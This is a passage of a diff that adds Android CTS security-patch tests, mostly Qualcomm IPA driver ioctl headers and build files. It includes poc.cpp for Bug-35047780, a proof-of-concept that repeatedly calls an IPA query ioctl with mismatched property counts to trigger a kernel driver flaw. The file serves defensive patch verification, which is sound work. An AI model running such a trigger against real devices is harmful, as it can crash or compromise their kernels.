+                                struct ipa_ioc_v4_nat_del *)
+#define IPA_IOC_GET_NAT_OFFSET _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_GET_NAT_OFFSET, \
+                                uint32_t *)
+#define IPA_IOC_SET_FLT _IOW(IPA_IOC_MAGIC, \
+                        IPA_IOCTL_SET_FLT, \
+                        uint32_t)
+#define IPA_IOC_PULL_MSG _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_PULL_MSG, \
+                                struct ipa_msg_meta *)
+#define IPA_IOC_RM_ADD_DEPENDENCY _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_RM_ADD_DEPENDENCY, \
+                                struct ipa_ioc_rm_dependency *)
+#define IPA_IOC_RM_DEL_DEPENDENCY _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_RM_DEL_DEPENDENCY, \
+                                struct ipa_ioc_rm_dependency *)
+#define IPA_IOC_GENERATE_FLT_EQ _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_GENERATE_FLT_EQ, \
+                                struct ipa_ioc_generate_flt_eq *)
+#define IPA_IOC_QUERY_EP_MAPPING _IOR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_QUERY_EP_MAPPING, \
+                                uint32_t)
+#define IPA_IOC_QUERY_RT_TBL_INDEX _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_QUERY_RT_TBL_INDEX, \
+                                struct ipa_ioc_get_rt_tbl_indx *)
+#define IPA_IOC_WRITE_QMAPID  _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_WRITE_QMAPID, \
+                                struct ipa_ioc_write_qmapid *)
+#define IPA_IOC_MDFY_FLT_RULE _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_MDFY_FLT_RULE, \
+                                        struct ipa_ioc_mdfy_flt_rule *)
+#define IPA_IOC_MDFY_RT_RULE _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_MDFY_RT_RULE, \
+                                        struct ipa_ioc_mdfy_rt_rule *)
+
+#define IPA_IOC_NOTIFY_WAN_UPSTREAM_ROUTE_ADD _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_ADD, \
+                                struct ipa_wan_msg *)
+
+#define IPA_IOC_NOTIFY_WAN_UPSTREAM_ROUTE_DEL _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_DEL, \
+                                struct ipa_wan_msg *)
+#define IPA_IOC_NOTIFY_WAN_EMBMS_CONNECTED _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_NOTIFY_WAN_EMBMS_CONNECTED, \
+                                struct ipa_wan_msg *)
+#define IPA_IOC_ADD_HDR_PROC_CTX _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_ADD_HDR_PROC_CTX, \
+                                struct ipa_ioc_add_hdr_proc_ctx *)
+#define IPA_IOC_DEL_HDR_PROC_CTX _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_DEL_HDR_PROC_CTX, \
+                                struct ipa_ioc_del_hdr_proc_ctx *)
+
+#define IPA_IOC_GET_HW_VERSION _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_GET_HW_VERSION, \
+                                enum ipa_hw_type *)
+
+/*
+ * unique magic number of the Tethering bridge ioctls
+ */
+#define TETH_BRIDGE_IOC_MAGIC 0xCE
+
+/*
+ * Ioctls supported by Tethering bridge driver
+ */
+#define TETH_BRIDGE_IOCTL_SET_BRIDGE_MODE        0
+#define TETH_BRIDGE_IOCTL_SET_AGGR_PARAMS        1
+#define TETH_BRIDGE_IOCTL_GET_AGGR_PARAMS        2
+#define TETH_BRIDGE_IOCTL_GET_AGGR_CAPABILITIES        3
+#define TETH_BRIDGE_IOCTL_MAX                        4
+
+
+/**
+ * enum teth_link_protocol_type - link protocol (IP / Ethernet)
+ */
+enum teth_link_protocol_type {
+        TETH_LINK_PROTOCOL_IP,
+        TETH_LINK_PROTOCOL_ETHERNET,
+        TETH_LINK_PROTOCOL_MAX,
+};
+
+/**
+ * enum teth_aggr_protocol_type - Aggregation protocol (MBIM / TLP)
+ */
+enum teth_aggr_protocol_type {
+        TETH_AGGR_PROTOCOL_NONE,
+        TETH_AGGR_PROTOCOL_MBIM,
+        TETH_AGGR_PROTOCOL_TLP,
+        TETH_AGGR_PROTOCOL_MAX,
+};
+
+/**
+ * struct teth_aggr_params_link - Aggregation parameters for uplink/downlink
+ * @aggr_prot:                        Aggregation protocol (MBIM / TLP)
+ * @max_transfer_size_byte:        Maximal size of aggregated packet in bytes.
+ *                                Default value is 16*1024.
+ * @max_datagrams:                Maximal number of IP packets in an aggregated
+ *                                packet. Default value is 16
+ */
+struct teth_aggr_params_link {
+        enum teth_aggr_protocol_type aggr_prot;
+        uint32_t max_transfer_size_byte;
+        uint32_t max_datagrams;
+};
+
+
+/**
+ * struct teth_aggr_params - Aggregation parmeters
+ * @ul:        Uplink parameters
+ * @dl: Downlink parmaeters
+ */
+struct teth_aggr_params {
+        struct teth_aggr_params_link ul;
+        struct teth_aggr_params_link dl;
+};
+
+/**
+ * struct teth_aggr_capabilities - Aggregation capabilities
+ * @num_protocols:                Number of protocols described in the array
+ * @prot_caps[]:                Array of aggregation capabilities per protocol
+ */
+struct teth_aggr_capabilities {
+        uint16_t num_protocols;
+        struct teth_aggr_params_link prot_caps[0];
+};
+
+/**
+ * struct teth_ioc_set_bridge_mode
+ * @link_protocol: link protocol (IP / Ethernet)
+ * @lcid: logical channel number
+ */
+struct teth_ioc_set_bridge_mode {
+        enum teth_link_protocol_type link_protocol;
+        uint16_t lcid;
+};
+
+/**
+ * struct teth_ioc_set_aggr_params
+ * @aggr_params: Aggregation parmeters
+ * @lcid: logical channel number
+ */
+struct teth_ioc_aggr_params {
+        struct teth_aggr_params aggr_params;
+        uint16_t lcid;
+};
+
+
+#define TETH_BRIDGE_IOC_SET_BRIDGE_MODE _IOW(TETH_BRIDGE_IOC_MAGIC, \
+                                TETH_BRIDGE_IOCTL_SET_BRIDGE_MODE, \
+                                struct teth_ioc_set_bridge_mode *)
+#define TETH_BRIDGE_IOC_SET_AGGR_PARAMS _IOW(TETH_BRIDGE_IOC_MAGIC, \
+                                TETH_BRIDGE_IOCTL_SET_AGGR_PARAMS, \
+                                struct teth_ioc_aggr_params *)
+#define TETH_BRIDGE_IOC_GET_AGGR_PARAMS _IOR(TETH_BRIDGE_IOC_MAGIC, \
+                                TETH_BRIDGE_IOCTL_GET_AGGR_PARAMS, \
+                                struct teth_ioc_aggr_params *)
+#define TETH_BRIDGE_IOC_GET_AGGR_CAPABILITIES _IOWR(TETH_BRIDGE_IOC_MAGIC, \
+                                TETH_BRIDGE_IOCTL_GET_AGGR_CAPABILITIES, \
+                                struct teth_aggr_capabilities *)
+
+/*
+ * unique magic number of the ODU bridge ioctls
+ */
+#define ODU_BRIDGE_IOC_MAGIC 0xCD
+
+/*
+ * Ioctls supported by ODU bridge driver
+ */
+#define ODU_BRIDGE_IOCTL_SET_MODE        0
+#define ODU_BRIDGE_IOCTL_SET_LLV6_ADDR        1
+#define ODU_BRIDGE_IOCTL_MAX                2
+
+/**
+ * enum odu_bridge_mode - bridge mode
+ *                        (ROUTER MODE / BRIDGE MODE)
+ */
+enum odu_bridge_mode {
+        ODU_BRIDGE_MODE_ROUTER,
+        ODU_BRIDGE_MODE_BRIDGE,
+        ODU_BRIDGE_MODE_MAX,
+};
+
+#define ODU_BRIDGE_IOC_SET_MODE _IOW(ODU_BRIDGE_IOC_MAGIC, \
+                                ODU_BRIDGE_IOCTL_SET_MODE, \
+                                enum odu_bridge_mode)
+
+#define ODU_BRIDGE_IOC_SET_LLV6_ADDR _IOW(ODU_BRIDGE_IOC_MAGIC, \
+                                ODU_BRIDGE_IOCTL_SET_LLV6_ADDR, \
+                                struct in6_addr *)
+
+#endif /* _UAPI_MSM_IPA_H_ */
diff --git a/hostsidetests/security/securityPatch/Bug-35047780/poc.cpp b/hostsidetests/security/securityPatch/Bug-35047780/poc.cpp
new file mode 100644
index 0000000..f036943
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35047780/poc.cpp
@@ -0,0 +1,65 @@
+/**
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions
+ * and limitations under the License.
+ **/
+
+
+#define _GNU_SOURCE
+
+#include <pthread.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sys/ioctl.h>
+#include <string.h>
+#include "local_poc.h"
+#include <unistd.h>
+#include <stdio.h>
+
+struct ipa_ioc_query_intf_ext_props_2 {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint32_t num_ext_props;
+        struct ipa_ioc_ext_intf_prop ext[23];
+};
+
+int main() {
+
+        int fd = open("/dev/ipa", O_RDWR);
+
+        struct ipa_ioc_query_intf query_intf;
+        strlcpy(&(query_intf.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
+
+        int result = ioctl(fd, IPA_IOC_QUERY_INTF, &query_intf);
+
+        ipa_ioc_query_intf_ext_props_2 ext_props_2;
+        memset(&ext_props_2, 0, sizeof(ext_props_2));
+        strlcpy(&(ext_props_2.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
+        ext_props_2.num_ext_props = 23;
+
+        int result2 = ioctl(fd, IPA_IOC_QUERY_INTF_EXT_PROPS, &ext_props_2);
+
+        while (true) {
+                ipa_ioc_query_intf_ext_props ext_props;
+                memset(&ext_props, 0, sizeof(ext_props));
+                strlcpy(&(ext_props.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
+                ext_props.num_ext_props = 0;
+
+                int result3 = ioctl(fd, IPA_IOC_QUERY_INTF_EXT_PROPS, &ext_props);
+                usleep(10000);
+        }
+        return 0;
+}
diff --git a/hostsidetests/security/securityPatch/Bug-35048450/Android.mk b/hostsidetests/security/securityPatch/Bug-35048450/Android.mk
new file mode 100644
index 0000000..ea9dd89
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35048450/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-35048450
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35048450/local_poc.h b/hostsidetests/security/securityPatch/Bug-35048450/local_poc.h
new file mode 100644
index 0000000..889018d
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35048450/local_poc.h
@@ -0,0 +1,1759 @@
+/**
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+*/
+
+#ifndef _UAPI_MSM_IPA_H_
+#define _UAPI_MSM_IPA_H_
+
+#ifndef __KERNEL__
+#include <stdint.h>
+#include <stddef.h>
+#include <sys/stat.h>
+#endif
+#include <linux/ioctl.h>
+#include <linux/types.h>
+#include <linux/if_ether.h>
+
+/**
+ * unique magic number of the IPA device
+ */
+#define IPA_IOC_MAGIC 0xCF
+
+/**
+ * name of the default routing tables for v4 and v6
+ */
+#define IPA_DFLT_RT_TBL_NAME "ipa_dflt_rt"
+
+/**
+ *   the commands supported by IPA driver
+ */
+#define IPA_IOCTL_ADD_HDR            0
+#define IPA_IOCTL_DEL_HDR            1
+#define IPA_IOCTL_ADD_RT_RULE        2
+#define IPA_IOCTL_DEL_RT_RULE        3
+#define IPA_IOCTL_ADD_FLT_RULE       4
+#define IPA_IOCTL_DEL_FLT_RULE       5
+#define IPA_IOCTL_COMMIT_HDR         6
+#define IPA_IOCTL_RESET_HDR          7
+#define IPA_IOCTL_COMMIT_RT          8
+#define IPA_IOCTL_RESET_RT           9
+#define IPA_IOCTL_COMMIT_FLT        10
+#define IPA_IOCTL_RESET_FLT         11
+#define IPA_IOCTL_DUMP              12
+#define IPA_IOCTL_GET_RT_TBL        13
+#define IPA_IOCTL_PUT_RT_TBL        14
+#define IPA_IOCTL_COPY_HDR          15
+#define IPA_IOCTL_QUERY_INTF        16
+#define IPA_IOCTL_QUERY_INTF_TX_PROPS 17
+#define IPA_IOCTL_QUERY_INTF_RX_PROPS 18
+#define IPA_IOCTL_GET_HDR           19
+#define IPA_IOCTL_PUT_HDR           20
+#define IPA_IOCTL_SET_FLT        21
+#define IPA_IOCTL_ALLOC_NAT_MEM  22
+#define IPA_IOCTL_V4_INIT_NAT    23
+#define IPA_IOCTL_NAT_DMA        24
+#define IPA_IOCTL_V4_DEL_NAT     26
+#define IPA_IOCTL_PULL_MSG       27
+#define IPA_IOCTL_GET_NAT_OFFSET 28
+#define IPA_IOCTL_RM_ADD_DEPENDENCY 29
+#define IPA_IOCTL_RM_DEL_DEPENDENCY 30
+#define IPA_IOCTL_GENERATE_FLT_EQ 31
+#define IPA_IOCTL_QUERY_INTF_EXT_PROPS 32
+#define IPA_IOCTL_QUERY_EP_MAPPING 33
+#define IPA_IOCTL_QUERY_RT_TBL_INDEX 34
+#define IPA_IOCTL_WRITE_QMAPID 35
+#define IPA_IOCTL_MDFY_FLT_RULE 36
+#define IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_ADD        37
+#define IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_DEL        38
+#define IPA_IOCTL_NOTIFY_WAN_EMBMS_CONNECTED        39
+#define IPA_IOCTL_ADD_HDR_PROC_CTX 40
+#define IPA_IOCTL_DEL_HDR_PROC_CTX 41
+#define IPA_IOCTL_MDFY_RT_RULE 42
+#define IPA_IOCTL_ADD_RT_RULE_AFTER 43
+#define IPA_IOCTL_ADD_FLT_RULE_AFTER 44
+#define IPA_IOCTL_GET_HW_VERSION 45
+#define IPA_IOCTL_MAX 46
+
+/**
+ * max size of the header to be inserted
+ */
+#define IPA_HDR_MAX_SIZE 64
+
+/**
+ * max size of the name of the resource (routing table, header)
+ */
+#define IPA_RESOURCE_NAME_MAX 32
+
+/**
+ * max number of interface properties
+ */
+#define IPA_NUM_PROPS_MAX 35
+
+/**
+ * size of the mac address
+ */
+#define IPA_MAC_ADDR_SIZE  6
+
+/**
+ * max number of mbim streams
+ */
+#define IPA_MBIM_MAX_STREAM_NUM 8
+
+/**
+ * the attributes of the rule (routing or filtering)
+ */
+#define IPA_FLT_TOS                        (1ul << 0)
+#define IPA_FLT_PROTOCOL                (1ul << 1)
+#define IPA_FLT_SRC_ADDR                (1ul << 2)
+#define IPA_FLT_DST_ADDR                (1ul << 3)
+#define IPA_FLT_SRC_PORT_RANGE                (1ul << 4)
+#define IPA_FLT_DST_PORT_RANGE                (1ul << 5)
+#define IPA_FLT_TYPE                        (1ul << 6)
+#define IPA_FLT_CODE                        (1ul << 7)
+#define IPA_FLT_SPI                        (1ul << 8)
+#define IPA_FLT_SRC_PORT                (1ul << 9)
+#define IPA_FLT_DST_PORT                (1ul << 10)
+#define IPA_FLT_TC                        (1ul << 11)
+#define IPA_FLT_FLOW_LABEL                (1ul << 12)
+#define IPA_FLT_NEXT_HDR                (1ul << 13)
+#define IPA_FLT_META_DATA                (1ul << 14)
+#define IPA_FLT_FRAGMENT                (1ul << 15)
+#define IPA_FLT_TOS_MASKED                (1ul << 16)
+#define IPA_FLT_MAC_SRC_ADDR_ETHER_II        (1ul << 17)
+#define IPA_FLT_MAC_DST_ADDR_ETHER_II        (1ul << 18)
+#define IPA_FLT_MAC_SRC_ADDR_802_3        (1ul << 19)
+#define IPA_FLT_MAC_DST_ADDR_802_3        (1ul << 20)
+#define IPA_FLT_MAC_ETHER_TYPE                (1ul << 21)
+
+/**
+ * enum ipa_client_type - names for the various IPA "clients"
+ * these are from the perspective of the clients, for e.g.
+ * HSIC1_PROD means HSIC client is the producer and IPA is the
+ * consumer
+ */
+enum ipa_client_type {
+        IPA_CLIENT_PROD,
+        IPA_CLIENT_HSIC1_PROD = IPA_CLIENT_PROD,
+        IPA_CLIENT_WLAN1_PROD,
+        IPA_CLIENT_HSIC2_PROD,
+        IPA_CLIENT_USB2_PROD,
+        IPA_CLIENT_HSIC3_PROD,
+        IPA_CLIENT_USB3_PROD,
+        IPA_CLIENT_HSIC4_PROD,
+        IPA_CLIENT_USB4_PROD,
+        IPA_CLIENT_HSIC5_PROD,
+        IPA_CLIENT_USB_PROD,
+        IPA_CLIENT_A5_WLAN_AMPDU_PROD,
+        IPA_CLIENT_A2_EMBEDDED_PROD,
+        IPA_CLIENT_A2_TETHERED_PROD,
+        IPA_CLIENT_APPS_LAN_WAN_PROD,
+        IPA_CLIENT_APPS_CMD_PROD,
+        IPA_CLIENT_ODU_PROD,
+        IPA_CLIENT_MHI_PROD,
+        IPA_CLIENT_Q6_LAN_PROD,
+        IPA_CLIENT_Q6_WAN_PROD,
+        IPA_CLIENT_Q6_CMD_PROD,
+        IPA_CLIENT_MEMCPY_DMA_SYNC_PROD,
+        IPA_CLIENT_MEMCPY_DMA_ASYNC_PROD,
+        IPA_CLIENT_Q6_DECOMP_PROD,
+        IPA_CLIENT_Q6_DECOMP2_PROD,
+        IPA_CLIENT_UC_USB_PROD,
+
+        /* Below PROD client type is only for test purpose */
+        IPA_CLIENT_TEST_PROD,
+        IPA_CLIENT_TEST1_PROD,
+        IPA_CLIENT_TEST2_PROD,
+        IPA_CLIENT_TEST3_PROD,
+        IPA_CLIENT_TEST4_PROD,
+
+        IPA_CLIENT_CONS,
+        IPA_CLIENT_HSIC1_CONS = IPA_CLIENT_CONS,
+        IPA_CLIENT_WLAN1_CONS,
+        IPA_CLIENT_HSIC2_CONS,
+        IPA_CLIENT_USB2_CONS,
+        IPA_CLIENT_WLAN2_CONS,
+        IPA_CLIENT_HSIC3_CONS,
+        IPA_CLIENT_USB3_CONS,
+        IPA_CLIENT_WLAN3_CONS,
+        IPA_CLIENT_HSIC4_CONS,
+        IPA_CLIENT_USB4_CONS,
+        IPA_CLIENT_WLAN4_CONS,
+        IPA_CLIENT_HSIC5_CONS,
+        IPA_CLIENT_USB_CONS,
+        IPA_CLIENT_USB_DPL_CONS,
+        IPA_CLIENT_A2_EMBEDDED_CONS,
+        IPA_CLIENT_A2_TETHERED_CONS,
+        IPA_CLIENT_A5_LAN_WAN_CONS,
+        IPA_CLIENT_APPS_LAN_CONS,
+        IPA_CLIENT_APPS_WAN_CONS,
+        IPA_CLIENT_ODU_EMB_CONS,
+        IPA_CLIENT_ODU_TETH_CONS,
+        IPA_CLIENT_MHI_CONS,
+        IPA_CLIENT_Q6_LAN_CONS,
+        IPA_CLIENT_Q6_WAN_CONS,
+        IPA_CLIENT_Q6_DUN_CONS,
+        IPA_CLIENT_MEMCPY_DMA_SYNC_CONS,
+        IPA_CLIENT_MEMCPY_DMA_ASYNC_CONS,
+        IPA_CLIENT_Q6_DECOMP_CONS,
+        IPA_CLIENT_Q6_DECOMP2_CONS,
+        IPA_CLIENT_Q6_LTE_WIFI_AGGR_CONS,
+        /* Below CONS client type is only for test purpose */
+        IPA_CLIENT_TEST_CONS,
+        IPA_CLIENT_TEST1_CONS,
+        IPA_CLIENT_TEST2_CONS,
+        IPA_CLIENT_TEST3_CONS,
+        IPA_CLIENT_TEST4_CONS,
+
+        IPA_CLIENT_MAX,
+};
+
+#define IPA_CLIENT_IS_APPS_CONS(client) \
+        ((client) == IPA_CLIENT_APPS_LAN_CONS || \
+        (client) == IPA_CLIENT_APPS_WAN_CONS)
+
+#define IPA_CLIENT_IS_USB_CONS(client) \
+        ((client) == IPA_CLIENT_USB_CONS || \
+        (client) == IPA_CLIENT_USB2_CONS || \
+        (client) == IPA_CLIENT_USB3_CONS || \
+        (client) == IPA_CLIENT_USB_DPL_CONS || \
+        (client) == IPA_CLIENT_USB4_CONS)
+
+#define IPA_CLIENT_IS_WLAN_CONS(client) \
+        ((client) == IPA_CLIENT_WLAN1_CONS || \
+        (client) == IPA_CLIENT_WLAN2_CONS || \
+        (client) == IPA_CLIENT_WLAN3_CONS || \
+        (client) == IPA_CLIENT_WLAN4_CONS)
+
+#define IPA_CLIENT_IS_ODU_CONS(client) \
+        ((client) == IPA_CLIENT_ODU_EMB_CONS || \
+        (client) == IPA_CLIENT_ODU_TETH_CONS)
+
+#define IPA_CLIENT_IS_Q6_CONS(client) \
+        ((client) == IPA_CLIENT_Q6_LAN_CONS || \
+        (client) == IPA_CLIENT_Q6_WAN_CONS || \
+        (client) == IPA_CLIENT_Q6_DUN_CONS || \
+        (client) == IPA_CLIENT_Q6_DECOMP_CONS || \
+        (client) == IPA_CLIENT_Q6_DECOMP2_CONS || \
+        (client) == IPA_CLIENT_Q6_LTE_WIFI_AGGR_CONS)
+
+#define IPA_CLIENT_IS_Q6_PROD(client) \
+        ((client) == IPA_CLIENT_Q6_LAN_PROD || \
+        (client) == IPA_CLIENT_Q6_WAN_PROD || \
+        (client) == IPA_CLIENT_Q6_CMD_PROD || \
+        (client) == IPA_CLIENT_Q6_DECOMP_PROD || \
+        (client) == IPA_CLIENT_Q6_DECOMP2_PROD)
+
+#define IPA_CLIENT_IS_Q6_NON_ZIP_CONS(client) \
+        ((client) == IPA_CLIENT_Q6_LAN_CONS || \
+        (client) == IPA_CLIENT_Q6_WAN_CONS || \
+        (client) == IPA_CLIENT_Q6_DUN_CONS || \
+        (client) == IPA_CLIENT_Q6_LTE_WIFI_AGGR_CONS)
+
+#define IPA_CLIENT_IS_Q6_ZIP_CONS(client) \
+        ((client) == IPA_CLIENT_Q6_DECOMP_CONS || \
+        (client) == IPA_CLIENT_Q6_DECOMP2_CONS)
+
+#define IPA_CLIENT_IS_Q6_NON_ZIP_PROD(client) \
+        ((client) == IPA_CLIENT_Q6_LAN_PROD || \
+        (client) == IPA_CLIENT_Q6_WAN_PROD || \
+        (client) == IPA_CLIENT_Q6_CMD_PROD)
+
+#define IPA_CLIENT_IS_Q6_ZIP_PROD(client) \
+        ((client) == IPA_CLIENT_Q6_DECOMP_PROD || \
+        (client) == IPA_CLIENT_Q6_DECOMP2_PROD)
+
+#define IPA_CLIENT_IS_MEMCPY_DMA_CONS(client) \
+        ((client) == IPA_CLIENT_MEMCPY_DMA_SYNC_CONS || \
+        (client) == IPA_CLIENT_MEMCPY_DMA_ASYNC_CONS)
+
+#define IPA_CLIENT_IS_MEMCPY_DMA_PROD(client) \
+        ((client) == IPA_CLIENT_MEMCPY_DMA_SYNC_PROD || \
+        (client) == IPA_CLIENT_MEMCPY_DMA_ASYNC_PROD)
+
+#define IPA_CLIENT_IS_MHI_CONS(client) \
+        ((client) == IPA_CLIENT_MHI_CONS)
+
+#define IPA_CLIENT_IS_MHI(client) \
+        ((client) == IPA_CLIENT_MHI_CONS || \
+        (client) == IPA_CLIENT_MHI_PROD)
+
+#define IPA_CLIENT_IS_TEST_PROD(client) \
+        ((client) == IPA_CLIENT_TEST_PROD || \
+        (client) == IPA_CLIENT_TEST1_PROD || \
+        (client) == IPA_CLIENT_TEST2_PROD || \
+        (client) == IPA_CLIENT_TEST3_PROD || \
+        (client) == IPA_CLIENT_TEST4_PROD)
+
+#define IPA_CLIENT_IS_TEST_CONS(client) \
+        ((client) == IPA_CLIENT_TEST_CONS || \
+        (client) == IPA_CLIENT_TEST1_CONS || \
+        (client) == IPA_CLIENT_TEST2_CONS || \
+        (client) == IPA_CLIENT_TEST3_CONS || \
+        (client) == IPA_CLIENT_TEST4_CONS)
+
+#define IPA_CLIENT_IS_TEST(client) \
+        (IPA_CLIENT_IS_TEST_PROD(client) || IPA_CLIENT_IS_TEST_CONS(client))
+
+/**
+ * enum ipa_ip_type - Address family: IPv4 or IPv6
+ */
+enum ipa_ip_type {
+        IPA_IP_v4,
+        IPA_IP_v6,
+        IPA_IP_MAX
+};
+
+/**
+ * enum ipa_rule_type - Type of routing or filtering rule
+ * Hashable: Rule will be located at the hashable tables
+ * Non_Hashable: Rule will be located at the non-hashable tables
+ */
+enum ipa_rule_type {
+        IPA_RULE_HASHABLE,
+        IPA_RULE_NON_HASHABLE,
+        IPA_RULE_TYPE_MAX
+};
+
+/**
+ * enum ipa_flt_action - action field of filtering rule
+ *
+ * Pass to routing: 5'd0
+ * Pass to source NAT: 5'd1
+ * Pass to destination NAT: 5'd2
+ * Pass to default output pipe (e.g., Apps or Modem): 5'd3
+ */
+enum ipa_flt_action {
+        IPA_PASS_TO_ROUTING,
+        IPA_PASS_TO_SRC_NAT,
+        IPA_PASS_TO_DST_NAT,
+        IPA_PASS_TO_EXCEPTION
+};
+
+/**
+ * enum ipa_wlan_event - Events for wlan client
+ *
+ * wlan client connect: New wlan client connected
+ * wlan client disconnect: wlan client disconnected
+ * wlan client power save: wlan client moved to power save
+ * wlan client normal: wlan client moved out of power save
+ * sw routing enable: ipa routing is disabled
+ * sw routing disable: ipa routing is enabled
+ * wlan ap connect: wlan AP(access point) is up
+ * wlan ap disconnect: wlan AP(access point) is down
+ * wlan sta connect: wlan STA(station) is up
+ * wlan sta disconnect: wlan STA(station) is down
+ * wlan client connect ex: new wlan client connected
+ * wlan scc switch: wlan interfaces in scc mode
+ * wlan mcc switch: wlan interfaces in mcc mode
+ * wlan wdi enable: wdi data path completed
+ * wlan wdi disable: wdi data path teardown
+ */
+enum ipa_wlan_event {
+        WLAN_CLIENT_CONNECT,
+        WLAN_CLIENT_DISCONNECT,
+        WLAN_CLIENT_POWER_SAVE_MODE,
+        WLAN_CLIENT_NORMAL_MODE,
+        SW_ROUTING_ENABLE,
+        SW_ROUTING_DISABLE,
+        WLAN_AP_CONNECT,
+        WLAN_AP_DISCONNECT,
+        WLAN_STA_CONNECT,
+        WLAN_STA_DISCONNECT,
+        WLAN_CLIENT_CONNECT_EX,
+        WLAN_SWITCH_TO_SCC,
+        WLAN_SWITCH_TO_MCC,
+        WLAN_WDI_ENABLE,
+        WLAN_WDI_DISABLE,
+        IPA_WLAN_EVENT_MAX
+};
+
+/**
+ * enum ipa_wan_event - Events for wan client
+ *
+ * wan default route add/del
+ * wan embms connect: New wan embms interface connected
+ */
+enum ipa_wan_event {
+        WAN_UPSTREAM_ROUTE_ADD = IPA_WLAN_EVENT_MAX,
+        WAN_UPSTREAM_ROUTE_DEL,
+        WAN_EMBMS_CONNECT,
+        WAN_XLAT_CONNECT,
+        IPA_WAN_EVENT_MAX
+};
+
+enum ipa_ecm_event {
+        ECM_CONNECT = IPA_WAN_EVENT_MAX,
+        ECM_DISCONNECT,
+        IPA_ECM_EVENT_MAX,
+};
+
+enum ipa_tethering_stats_event {
+        IPA_TETHERING_STATS_UPDATE_STATS = IPA_ECM_EVENT_MAX,
+        IPA_TETHERING_STATS_UPDATE_NETWORK_STATS,
+        IPA_TETHERING_STATS_EVENT_MAX,
+        IPA_EVENT_MAX_NUM = IPA_TETHERING_STATS_EVENT_MAX
+};
+
+#define IPA_EVENT_MAX ((int)IPA_EVENT_MAX_NUM)
+
+/**
+ * enum ipa_rm_resource_name - IPA RM clients identification names
+ *
+ * Add new mapping to ipa_rm_prod_index() / ipa_rm_cons_index()
+ * when adding new entry to this enum.
+ */
+enum ipa_rm_resource_name {
+        IPA_RM_RESOURCE_PROD = 0,
+        IPA_RM_RESOURCE_Q6_PROD = IPA_RM_RESOURCE_PROD,
+        IPA_RM_RESOURCE_USB_PROD,
+        IPA_RM_RESOURCE_USB_DPL_DUMMY_PROD,
+        IPA_RM_RESOURCE_HSIC_PROD,
+        IPA_RM_RESOURCE_STD_ECM_PROD,
+        IPA_RM_RESOURCE_RNDIS_PROD,
+        IPA_RM_RESOURCE_WWAN_0_PROD,
+        IPA_RM_RESOURCE_WLAN_PROD,
